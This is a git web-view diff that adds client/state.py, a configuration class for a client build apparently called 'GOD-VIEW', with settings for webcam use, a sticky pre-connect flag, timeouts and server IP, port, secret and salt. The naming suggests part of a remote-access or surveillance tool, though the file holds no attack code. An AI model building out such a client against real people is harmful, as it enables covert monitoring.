summaryrefslogtreecommitdiff
path: root/client/state.py
diff options
context:
space:
mode:
Diffstat (limited to 'client/state.py')
-rw-r--r--client/state.py47
1 files changed, 47 insertions, 0 deletions
diff --git a/client/state.py b/client/state.py
new file mode 100644
index 0000000..7541bf5
--- /dev/null
+++ b/client/state.py
@@ -0,0 +1,47 @@
+'''
+ Variables that has important impact on during
+ the execution during runtime. These should be
+ set prior to building out the client.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from shared.state import Static
+
+
+class ClientStatic:
+
+ BUILD_NAME = 'Production Build'
+ BUILD_VERSION = '1.0.0'
+ # NOTE : Applies to pre-connect
+ STICKY = True
+
+ # NOTE : Don't change
+ DEFAULT = 'Unkown'
+
+ @classmethod
+ def setup(cls):
+ if Static.WINDOWS:
+ # NOTE : Don't change
+ cls.WEBCAM = {}
+
+ cls.NAME = 'GOD-VIEW'
+ cls.CODE_PAGE = '65001'
+
+ # NOTE : Don't change
+ if Static.TIMEOUT > 7.5:
+ cls.TIMEOUT = Static.TIMEOUT - 2.5
+ else:
+ cls.TIMEOUT = Static.TIMEOUT
+
+ # NOTE : Server IP
+ Static.IP = Static.IP
+ # NOTE : Server port
+ Static.PORT = Static.PORT
+ # NOTE : Server encryption secret
+ Static.SECRET = Static.SECRET
+ # NOTE : Server encryption salt
+ Static.SALT = Static.SALT